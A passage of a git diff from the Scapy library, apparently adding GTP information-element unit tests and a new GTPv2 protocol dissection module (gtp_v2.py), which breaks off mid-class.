+ie.ietype == 26 and ie.normal_charging == 0 and ie.prepaid_charging == 1 and ie.flat_rate_charging == 0
+
+= IE_ChargingCharacteristics(), basic instantiation
+ie = IE_ChargingCharacteristics(
+    normal_charging=0, prepaid_charging=1, flat_rate_charging=0)
+ie.ietype == 26 and ie.normal_charging == 0 and ie.prepaid_charging == 1 and ie.flat_rate_charging == 0
+
+= IE_TraceReference(), basic instantiation
+ie = IE_TraceReference(Trace_reference=0x1212)
+ie.ietype == 27 and ie.Trace_reference == 0x1212
+
+= IE_TraceType(), basic instantiation
+ie = IE_TraceType(Trace_type=0x1212)
+ie.ietype == 28 and ie.Trace_type == 0x1212
+
+= IE_ChargingId(), dissect
+h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030e77ffb7e30410000018010ed654ff37fff1bc3f28500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[2]
+ie.ietype == 127 and ie.Charging_id == 0xff1bc3f2
+
+= IE_ChargingId(), basic instantiation
+ie = IE_ChargingId(Charging_id=0xff1bc3f2)
+ie.ietype == 127 and ie.Charging_id == 0xff1bc3f2
+
+= IE_EndUserAddress(), dissect
+h = "3333333333332222222222228100838408004588008500000000fd11840b0a2a00010a2a0002084b4a6c00717c8a32110061c1b9728f356a0000018008fe10af709e9011e3cb6a4b7fb60e1b28800006f1210a2a00038400218080210a0301000a03060ab0aa93802110030100108106ac14020a8306ac1402278500040a2a00018500040a2a000187000c0213621f7396486874f2ffff44ded108"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[5]
+ie.ietype == 128 and ie.length == 6 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x21 and ie.PDPAddress == '10.42.0.3'
+
+= IE_EndUserAddress(), basic instantiation
+ie = IE_EndUserAddress(
+    length=6, PDPTypeOrganization=1, PDPTypeNumber=0x21, PDPAddress='10.42.0.3')
+ie.ietype == 128 and ie.length == 6 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x21 and ie.PDPAddress == '10.42.0.3'
+
+= IE_AccessPointName(), dissect
+h = "333333333333222222222222810083840800458800bc00000000fc1184c90a2a00010a2a00024acf084b00a87bbb3210009867fe972185e800000202081132547600000332f42004d27b0ffc1093b20c3f11940eb2bf14051a0400800002f1218300070661616161616184001480802110010000108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff004a0094000120970001019800080132f42004d204d299000240009a000811111111111100001b1212951c5bbe"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[8]
+ie.ietype == 131 and ie.APN == b'aaaaaa'
+
+= IE_AccessPointName(), basic instantiation
+ie = IE_AccessPointName(APN='aaaaaa')
+ie.ietype == 131 and ie.APN == b'aaaaaa'
+
+= IE_ProtocolConfigurationOptions(), dissect
+h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009fdef90e15440900000202081132547600000332f42004d27b0ffc10c29998b81145c6c9ee14051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[9]
+ie.ietype == 132 and ie.Protocol_Configuration == b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00'
+
+= IE_ProtocolConfigurationOptions(), basic instantiation
+ie = IE_ProtocolConfigurationOptions(
+    length=29, Protocol_Configuration=b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00')
+ie.ietype == 132 and ie.Protocol_Configuration == b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00'
+
+= IE_GSNAddress(), dissect
+h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b463213003031146413c18000000180109181ba027fcf701a8c8500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[3]
+ie.ietype == 133 and ie.address == '10.42.0.1'
+
+= IE_GSNAddress(), basic instantiation
+ie = IE_GSNAddress(address='10.42.0.1')
+ie.ietype == 133 and ie.address == '10.42.0.1'
+
+= IE_MSInternationalNumber(), dissect
+h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009f79504a3e048e00000202081132547600000332f42004d27b0ffc10a692773d1158da9e2214051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[12]
+ie.ietype == 134 and ie.flags == 145 and ie.digits == b'111111111111'
+
+= IE_MSInternationalNumber(), basic instantiation
+ie = IE_MSInternationalNumber(flags=145, digits='111111111111')
+ie.ietype == 134 and ie.flags == 145 and ie.digits == b'111111111111'
+
+= IE_QoS(), dissect
+h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030afe9d3a3317e0000018010bd82f3997f9febcaf58500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[5]
+ie.ietype == 135 and ie.allocation_retention_prioiry == 2 and ie.delay_class == 2 and ie.traffic_class == 3
+
+= IE_QoS(), basic instantiation
+ie = IE_QoS(
+    allocation_retention_prioiry=2, delay_class=2, traffic_class=3)
+ie.ietype == 135 and ie.allocation_retention_prioiry == 2 and ie.delay_class == 2 and ie.traffic_class == 3
+
+= IE_CommonFlags(), dissect
+h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044623f97e3ac610000104d82c69214058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[5]
+ie.ietype == 148 and ie.nrsn == 1 and ie.no_qos_nego == 1 and ie.prohibit_payload_compression == 0
+
+= IE_CommonFlags(), basic instantiation
+ie = IE_CommonFlags(nrsn=1, no_qos_nego=1)
+ie.ietype == 148 and ie.nrsn == 1 and ie.no_qos_nego == 1 and ie.prohibit_payload_compression == 0
+
+= IE_APNRestriction(), basic instantiation
+ie = IE_APNRestriction(restriction_type_value=12)
+ie.ietype == 149 and ie.restriction_type_value == 12
+
+= IE_RATType(), dissect
+h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb321200442f686a89d33c000010530ec20a14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[6]
+ie.ietype == 151 and ie.RAT_Type == 1
+
+= IE_RATType(), basic instantiation
+ie = IE_RATType(RAT_Type=1)
+ie.ietype == 151 and ie.RAT_Type == 1
+
+= IE_UserLocationInformation(), dissect
+h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044981eb5dcb29400001016e85d9f14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[7]
+ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.SAC == 1234
+
+= IE_UserLocationInformation(), basic instantiation
+ie = IE_UserLocationInformation(MCC='234', MNC='02', LAC=1234, SAC=1234)
+ie.ietype == 152 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.SAC == 1234
+
+= IE_MSTimeZone(), dissect
+h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044f24a4d5825290000102ca9c8c314058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[8]
+ie.ietype == 153 and ie.timezone == 64 and ie.daylight_saving_time == 0
+
+= IE_MSTimeZone(), basic instantiation
+ie = IE_MSTimeZone(timezone=64)
+ie.ietype == 153 and ie.timezone == 64 and ie.daylight_saving_time == 0
+
+= IE_IMEI(), dissect
+h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009f2f3ae0eb7b9c00000202081132547600000332f42004d27b0ffc10424a10c8117ca21aba14051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[18] and ie.ietype == 154 and ie.IMEI == b'0132750094080322'
+
+= IE_IMEI(), basic instantiation
+ie = IE_IMEI(IMEI='0132750094080322')
+ie.ietype == 154 and ie.IMEI == b'0132750094080322'
+
+= IE_MSInfoChangeReportingAction(), basic instantiation
+ie = IE_MSInfoChangeReportingAction(Action=12)
+ie.ietype == 181 and ie.Action == 12
+
+= IE_DirectTunnelFlags(), dissect
+h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044d2a7dffabfb70000108caa6b0b14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101"
+gtp = Ether(hex_bytes(h))
+ie = gtp.IE_list[9]
+ie.ietype == 182 and ie.EI == 0 and ie.GCSI == 0 and ie.DTI == 1
+
+= IE_DirectTunnelFlags(), basic instantiation
+ie = IE_DirectTunnelFlags(DTI=1)
+ie.ietype == 182 and ie.EI == 0 and ie.GCSI == 0 and ie.DTI == 1
+
+= IE_BearerControlMode(), basic instantiation
+ie = IE_BearerControlMode(bearer_control_mode=1)
+ie.ietype == 184 and ie.bearer_control_mode == 1
+
+= IE_EvolvedAllocationRetentionPriority(), basic instantiation
+ie = IE_EvolvedAllocationRetentionPriority(PCI=1)
+ie.ietype == 191 and ie.PCI == 1
+
+= IE_CharginGatewayAddress(), basic instantiation
+ie = IE_CharginGatewayAddress()
+ie.ietype == 251 and ie.ipv4_address == '127.0.0.1' and ie.ipv6_address == '::1'
+
+= IE_PrivateExtension(), basic instantiation
+ie = IE_PrivateExtension(extention_value='hello')
+ie.ietype == 255 and ie.extention_value == b'hello'
diff --git a/scapy/contrib/gtp_v2.py b/scapy/contrib/gtp_v2.py
new file mode 100755
index 0000000..c132753
--- /dev/null
+++ b/scapy/contrib/gtp_v2.py
@@ -0,0 +1,930 @@
+#! /usr/bin/env python
+
+# Copyright (C) 2017 Alessio Deiana <adeiana@gmail.com>
+# 2017 Alexis Sultan <alexis.sultan@sfr.com>
+
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = GTPv2
+# scapy.contrib.status = loads
+
+import time
+import logging
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import IP, UDP
+from scapy.layers.inet6 import IP6Field
+from scapy.compat import orb
+
+import scapy.contrib.gtp as gtp
+
+RATType = {
+    6: "EUTRAN",
+}
+
+GTPmessageType = {1: "echo_request",
+                     2: "echo_response",
+                     32: "create_session_req",
+                     33: "create_session_res",
+                     34: "modify_bearer_req",
+                     35: "modify_bearer_res",
+                     36: "delete_session_req",
+                     37: "delete_session_res",
+                     70: "downlink_data_notif_failure_indic",
+                     170: "realease_bearers_req",
+                     171: "realease_bearers_res",
+                     176: "downlink_data_notif",
+                     177: "downlink_data_notif_ack",
+                  }
+
+IEType = {1: "IMSI",
+             2: "Cause",
+             3: "Recovery Restart",
+             71: "APN",
+             72: "AMBR",
+             73: "EPS Bearer ID",
+             74: "IPv4",
+             75: "MEI",
+             76: "MSISDN",
+             77: "Indication",
+             78: "Protocol Configuration Options",
+             79: "PAA",
+             80: "Bearer QoS",
+             82: "RAT",
+             83: "Serving Network",
+             86: "ULI",
+             87: "F-TEID",
+             93: "Bearer Context",
+             94: "Charging ID",
+             95: "Charging Characteristics",
+             99: "PDN Type",
+             114: "UE Time zone",
+             126: "Port Number",
+             127: "APN Restriction",
+             128: "Selection Mode",
+             161: "Max MBR/APN-AMBR (MMBR)"
+          }
+
+CauseValues = {
+    16: "Request Accepted",
+}
+
+
+class GTPHeader(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    # without the version
+    name = "GTP v2 Header"
+    fields_desc = [BitField("version", 2, 3),
+                   BitField("P", 1, 1),
+                   BitField("T", 1, 1),
+                   BitField("SPARE", 0, 1),
+                   BitField("SPARE", 0, 1),
+                   BitField("SPARE", 0, 1),
+                   ByteEnumField("gtp_type", None, GTPmessageType),
+                   ShortField("length", None),
+                   ConditionalField(IntField("teid", 0),
+                                    lambda pkt:pkt.T == 1),
+                   ThreeBytesField("seq", RandShort()),
+                   ByteField("SPARE", 0)
+                   ]
+
+    def post_build(self, p, pay):
+        p += pay
+        if self.length is None:
+            l = len(p)-8
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        return p
+
+    def hashret(self):
+        return struct.pack("B", self.version) + self.payload.hashret()
+
+    def answers(self, other):
+        return (isinstance(other, GTPHeader) and
+                self.version == other.version and
+                self.payload.answers(other.payload))
+
+
+class IE_IPv4(gtp.IE_Base):
+    name = "IE IPv4"
+    fields_desc = [ByteEnumField("ietype", 74, IEType),
+                   ShortField("length", 0),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   IPField("address", RandIP())]
+
+
+class IE_MEI(gtp.IE_Base):
+    name = "IE MEI"
+    fields_desc = [ByteEnumField("ietype", 75, IEType),
+                   ShortField("length", 0),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   LongField("MEI", 0)]
+
+
+def IE_Dispatcher(s):
+    """Choose the correct Information Element class."""
+
+    # Get the IE type
+    ietype = orb(s[0])
+    cls = ietypecls.get(ietype, Raw)
+
+    # if ietype greater than 128 are TLVs
+    if cls is Raw and ietype > 128:
+        cls = IE_NotImplementedTLV
+
+    return cls(s)
+
+
+class IE_EPSBearerID(gtp.IE_Base):
+    name = "IE EPS Bearer ID"
+    fields_desc = [ByteEnumField("ietype", 73, IEType),
+                   ShortField("length", 0),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   ByteField("EBI", 0)]
+
+
+class IE_RAT(gtp.IE_Base):
+    name = "IE RAT"
+    fields_desc = [ByteEnumField("ietype", 82, IEType),
+                   ShortField("length", 0),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   ByteEnumField("RAT_type", None, RATType)]
+
+
+class IE_ServingNetwork(gtp.IE_Base):
+    name = "IE Serving Network"
+    fields_desc = [ByteEnumField("ietype", 83, IEType),
+                   ShortField("length", 0),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   gtp.TBCDByteField("MCC", "", 2),
+                   gtp.TBCDByteField("MNC", "", 1)]
+
+
+class ULI_RAI(gtp.IE_Base):
+    name = "IE Tracking Area Identity"
+    fields_desc = [
+        gtp.TBCDByteField("MCC", "", 2),
+        # MNC: if the third digit of MCC is 0xf, then the length of
+        # MNC is 1 byte
+        gtp.TBCDByteField("MNC", "", 1),
+        ShortField("LAC", 0),
+        ShortField("RAC", 0)]
+
+
+class ULI_SAI(gtp.IE_Base):
+    name = "IE Tracking Area Identity"
+    fields_desc = [
+        gtp.TBCDByteField("MCC", "", 2),
+        gtp.TBCDByteField("MNC", "", 1),
+        ShortField("LAC", 0),
+        ShortField("SAC", 0)]
+
+
+class ULI_TAI(gtp.IE_Base):
+    name = "IE Tracking Area Identity"
+    fields_desc = [
+        gtp.TBCDByteField("MCC", "", 2),
+        gtp.TBCDByteField("MNC", "", 1),
+        ShortField("TAC", 0)]
+
+
+class ULI_ECGI(gtp.IE_Base):
+    name = "IE E-UTRAN Cell Identifier"
+    fields_desc = [
+        gtp.TBCDByteField("MCC", "", 2),
+        gtp.TBCDByteField("MNC", "", 1),
+        BitField("SPARE", 0, 4),
+        BitField("ECI", 0, 28)]
+
+
+class IE_ULI(gtp.IE_Base):
+    name = "IE ULI"
+    fields_desc = [ByteEnumField("ietype", 86, IEType),
+                   ShortField("length", 0),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   BitField("SPARE", 0, 2),
+                   BitField("LAI_Present", 0, 1),
+                   BitField("ECGI_Present", 0, 1),
+                   BitField("TAI_Present", 0, 1),
+                   BitField("RAI_Present", 0, 1),
+                   BitField("SAI_Present", 0, 1),
+                   BitField("CGI_Present", 0, 1),
+                   ConditionalField(
+        PacketField("SAI", 0, ULI_SAI), lambda pkt: bool(pkt.SAI_Present)),
+        ConditionalField(
+        PacketField("RAI", 0, ULI_RAI), lambda pkt: bool(pkt.RAI_Present)),
+        ConditionalField(
+        PacketField("TAI", 0, ULI_TAI), lambda pkt: bool(pkt.TAI_Present)),
+        ConditionalField(PacketField("ECGI", 0, ULI_ECGI),
+                         lambda pkt: bool(pkt.ECGI_Present))]
+
+
+class IE_FTEID(gtp.IE_Base):
+    name = "IE F-TEID"
+    fields_desc = [ByteEnumField("ietype", 87, IEType),
+                   ShortField("length", 0),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   BitField("ipv4_present", 0, 1),
+                   BitField("ipv6_present", 0, 1),
+                   BitField("InterfaceType", 0, 6),
+                   XIntField("GRE_Key", 0),
+                   ConditionalField(
+        IPField("ipv4", RandIP()), lambda pkt: pkt.ipv4_present),
+        ConditionalField(XBitField("ipv6", "2001::", 128),
+                         lambda pkt: pkt.ipv6_present)]
+
+
+class IE_BearerContext(gtp.IE_Base):
+    name = "IE Bearer Context"
+    fields_desc = [ByteEnumField("ietype", 93, IEType),
+                   ShortField("length", 0),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   PacketListField("IE_list", None, IE_Dispatcher,
+                                   length_from=lambda pkt: pkt.length)]
+
+
+class IE_NotImplementedTLV(gtp.IE_Base):
+    name = "IE not implemented"
+    fields_desc = [ByteEnumField("ietype", 0, IEType),
+                   ShortField("length",  None),
+                   StrLenField("data", "", length_from=lambda x: x.length)]
+
+
+class IE_IMSI(gtp.IE_Base):
+    name = "IE IMSI"
+    fields_desc = [ByteEnumField("ietype", 1, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   gtp.TBCDByteField("IMSI", "33607080910",
+                                        length_from=lambda x: x.length)]
+
+
+class IE_Cause(gtp.IE_Base):
+    name = "IE Cause"
+    fields_desc = [ByteEnumField("ietype", 2, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   ByteEnumField("Cause", 1, CauseValues),
+                   BitField("SPARE", 0, 5),
+                   BitField("PCE", 0, 1),
+                   BitField("BCE", 0, 1),
+                   BitField("CS", 0, 1)]
+
+
+class IE_RecoveryRestart(gtp.IE_Base):
+    name = "IE Recovery Restart"
+    fields_desc = [ByteEnumField("ietype", 3, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   ByteField("restart_counter", 0)]
+
+
+class IE_APN(gtp.IE_Base):
+    name = "IE APN"
+    fields_desc = [ByteEnumField("ietype", 71, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   gtp.APNStrLenField("APN", "internet",
+                                         length_from=lambda x: x.length)]
+
+
+class IE_AMBR(gtp.IE_Base):
+    name = "IE AMBR"
+    fields_desc = [ByteEnumField("ietype", 72, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   IntField("AMBR_Uplink", 0),
+                   IntField("AMBR_Downlink", 0)]
+
+
+class IE_MSISDN(gtp.IE_Base):
+    name = "IE MSISDN"
+    fields_desc = [ByteEnumField("ietype", 76, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   gtp.TBCDByteField("digits", "33123456789",
+                                        length_from=lambda x: x.length)]
+
+
+class IE_Indication(gtp.IE_Base):
+    name = "IE Cause"
+    fields_desc = [ByteEnumField("ietype", 77, IEType),
+                   ShortField("length",  None),
+                   BitField("CR_flag", 0, 4),
+                   BitField("instance", 0, 4),
+                   BitField("DAF", 0, 1),
+                   BitField("DTF", 0, 1),
+                   BitField("HI", 0, 1),
+                   BitField("DFI", 0, 1),
+                   BitField("OI", 0, 1),
+                   BitField("ISRSI", 0, 1),
+                   BitField("ISRAI", 0, 1),
+                   BitField("SGWCI", 0, 1),
+                   BitField("SQCI", 0, 1),
+                   BitField("UIMSI", 0, 1),
+                   BitField("CFSI", 0, 1),
+                   BitField("CRSI", 0, 1),
+                   BitField("PS", 0, 1),
+                   BitField("PT", 0, 1),
+                   BitField("SI", 0, 1),
+                   BitField("MSV", 0, 1),
+
+                   ConditionalField(
+                       BitField("RetLoc", 0, 1), lambda pkt: pkt.length > 2),
+                   ConditionalField(
+                       BitField("PBIC", 0, 1), lambda pkt: pkt.length > 2),
+                   ConditionalField(
+                       BitField("SRNI", 0, 1), lambda pkt: pkt.length > 2),
+                   ConditionalField(
+                       BitField("S6AF", 0, 1), lambda pkt: pkt.length > 2),
+                   ConditionalField(
+                       BitField("S4AF", 0, 1), lambda pkt: pkt.length > 2),
+                   ConditionalField(
+                       BitField("MBMDT", 0, 1), lambda pkt: pkt.length > 2),
+                   ConditionalField(
+                       BitField("ISRAU", 0, 1), lambda pkt: pkt.length > 2),
+                   ConditionalField(
+                       BitField("CCRSI", 0, 1), lambda pkt: pkt.length > 2),
+
+                   ConditionalField(
+        BitField("CPRAI", 0, 1), lambda pkt: pkt.length > 3),
+        ConditionalField(
+        BitField("ARRL", 0, 1), lambda pkt: pkt.length > 3),
+        ConditionalField(
+        BitField("PPOFF", 0, 1), lambda pkt: pkt.length > 3),
+        ConditionalField(
+        BitField("PPON", 0, 1), lambda pkt: pkt.length > 3),
+        ConditionalField(
+        BitField("PPSI", 0, 1), lambda pkt: pkt.length > 3),
+        ConditionalField(
+        BitField("CSFBI", 0, 1), lambda pkt: pkt.length > 3),
+        ConditionalField(
+        BitField("CLII", 0, 1), lambda pkt: pkt.length > 3),
+        ConditionalField(
+        BitField("CPSR", 0, 1), lambda pkt: pkt.length > 3),
+
+    ]
+
+PDN_TYPES = {
+    1: "IPv4",
+    2: "IPv6",
+    3: "IPv4/IPv6",
+}
+
+PCO_OPTION_TYPES = {
+    3: "IPv4",
+    129: "Primary DNS Server IP address",
+    130: "Primary NBNS Server IP address",
+    131: "Secondary DNS Server IP address",
+    132: "Secondary NBNS Server IP address",
+}
+
+
+class PCO_Option(Packet):
+    def extract_padding(self, pkt):
+        return "", pkt
+
+
+class PCO_IPv4(PCO_Option):
+    name = "IPv4"
+    fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES),
+                   ByteField("length", 0),
+                   IPField("address", RandIP())]
+
+
+class PCO_Primary_DNS(PCO_Option):
+    name = "Primary DNS Server IP Address"
+    fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES),
+                   ByteField("length", 0),
+                   IPField("address", RandIP())]
+
+
+class PCO_Primary_NBNS(PCO_Option):
+    name = "Primary DNS Server IP Address"
+    fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES),
+                   ByteField("length", 0),
+                   IPField("address", RandIP())]
+
+
+class PCO_Secondary_DNS(PCO_Option):
+    name = "Secondary DNS Server IP Address"
+    fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES),
+                   ByteField("length", 0),
+                   IPField("address", RandIP())]
+
+
+class PCO_Secondary_NBNS(PCO_Option):
+    name = "Secondary NBNS Server IP Address"
+    fields_desc = [ByteEnumField("type", None, PCO_OPTION_TYPES),
+                   ByteField("length", 0),
+                   IPField("address", RandIP())]
+
+
+PCO_PROTOCOL_TYPES = {
+    0x0001: 'P-CSCF IPv6 Address Request',
+    0x0003: 'DNS Server IPv6 Address Request',
+    0x0005: 'MS Support of Network Requested Bearer Control indicator',
+    0x000a: 'IP Allocation via NAS',
+    0x000d: 'DNS Server IPv4 Address Request',
+    0x000c: 'P-CSCF IPv4 Address Request',
+    0x0010: 'IPv4 Link MTU Request',
+    0x8021: 'IPCP',
+    0xc023: 'Password Authentification Protocol',
+    0xc223: 'Challenge Handshake Authentication Protocol',
+}
+
+PCO_OPTION_CLASSES = {
+    3: PCO_IPv4,
+    129: PCO_Primary_DNS,
+    130: PCO_Primary_NBNS,
+    131: PCO_Secondary_DNS,
+    132: PCO_Secondary_NBNS,
+}
+
+
+def PCO_option_dispatcher(s):
+    """Choose the correct PCO element."""
+    option = orb(s[0])
+
+    cls = PCO_OPTION_CLASSES.get(option, Raw)
+    return cls(s)
+
+
+def len_options(pkt):
+    return pkt.length-4 if pkt.length else 0
+
+
+class PCO_P_CSCF_IPv6_Address_Request(PCO_Option):
+    name = "PCO PCO-P CSCF IPv6 Address Request"
+    fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES),
+                   ByteField("length", 0),
+                   ConditionalField(XBitField("address",
+                                              "2001:db8:0:42::", 128),
+                                    lambda pkt: pkt.length)]
+
+
+class PCO_DNS_Server_IPv6(PCO_Option):
+    name = "PCO DNS Server IPv6 Address Request"
+    fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES),
+                   ByteField("length", 0),
+                   ConditionalField(XBitField("address",
+                                              "2001:db8:0:42::", 128),
+                                    lambda pkt: pkt.length)]
+
+
+class PCO_SOF(PCO_Option):
+    name = "PCO MS Support of Network Requested Bearer Control indicator"
+    fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES),
+                   ByteField("length", 0),
+                   ]
+
+
+class PCO_PPP(PCO_Option):
+    name = "PPP IP Control Protocol"
+    fields_desc = [ByteField("Code", 0),
+                   ByteField("Identifier", 0),
+                   ShortField("length", 0),
+                   PacketListField("Options", None, PCO_option_dispatcher,
+                                   length_from=len_options)]
+
+    def extract_padding(self, pkt):
+        return "", pkt
+
+
+class PCO_IP_Allocation_via_NAS(PCO_Option):
+    name = "PCO IP Address allocation via NAS Signaling"
+    fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES),
+                   ByteField("length", 0),
+                   PacketListField("Options", None, PCO_option_dispatcher,
+                                   length_from=len_options)]
+
+
+class PCO_P_CSCF_IPv4_Address_Request(PCO_Option):
+    name = "PCO PCO-P CSCF IPv4 Address Request"
+    fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES),
+                   ByteField("length", 0),
+                   ConditionalField(IPField("address", RandIP()),
+                                    lambda pkt: pkt.length)]
+
+
+class PCO_DNS_Server_IPv4(PCO_Option):
+    name = "PCO DNS Server IPv4 Address Request"
+    fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES),
+                   ByteField("length", 0),
+                   ConditionalField(IPField("address", RandIP()),
+                                    lambda pkt: pkt.length)]
+
+
+class PCO_IPv4_Link_MTU_Request(PCO_Option):
+    name = "PCO IPv4 Link MTU Request"
+    fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES),
+                   ByteField("length", 0),
+                   ConditionalField(ShortField("MTU_size", 1500),
+                                    lambda pkt: pkt.length)]
+
+
+class PCO_IPCP(PCO_Option):
+    name = "PCO Internet Protocol Control Protocol"
+    fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES),
+                   ByteField("length", 0),
+                   PacketField("PPP", None, PCO_PPP)]
+
+
+class PCO_PPP_Auth(PCO_Option):
+    name = "PPP Password Authentification Protocol"
+    fields_desc = [ByteField("Code", 0),
+                   ByteField("Identifier", 0),
+                   ShortField("length", 0),
+                   ByteField("PeerID_length", 0),
+                   ConditionalField(StrFixedLenField(
+                       "PeerID",
+                       "",
+                       length_from=lambda pkt: pkt.PeerID_length),
+                       lambda pkt: pkt.PeerID_length),
+                   ByteField("Password_length", 0),
+                   ConditionalField(
+                       StrFixedLenField(
+                           "Password",
+                           "",
+                           length_from=lambda pkt: pkt.Password_length),
+                       lambda pkt: pkt.Password_length)]
+
+
+class PCO_PasswordAuthentificationProtocol(PCO_Option):
+    name = "PCO Password Authentification Protocol"
+    fields_desc = [ShortEnumField("type", None, PCO_PROTOCOL_TYPES),
+                   ByteField("length", 0),
+                   PacketField("PPP", None, PCO_PPP_Auth)]
+
+
+class PCO_PPP_Challenge(PCO_Option):
+    name = "PPP Password Authentification Protocol"
+    fields_desc = [ByteField("Code", 0),
+                   ByteField("Identifier", 0),
+                   ShortField("length", 0),
+                   ByteField("value_size", 0),
+                   ConditionalField(StrFixedLenField(
+                       "value", "",
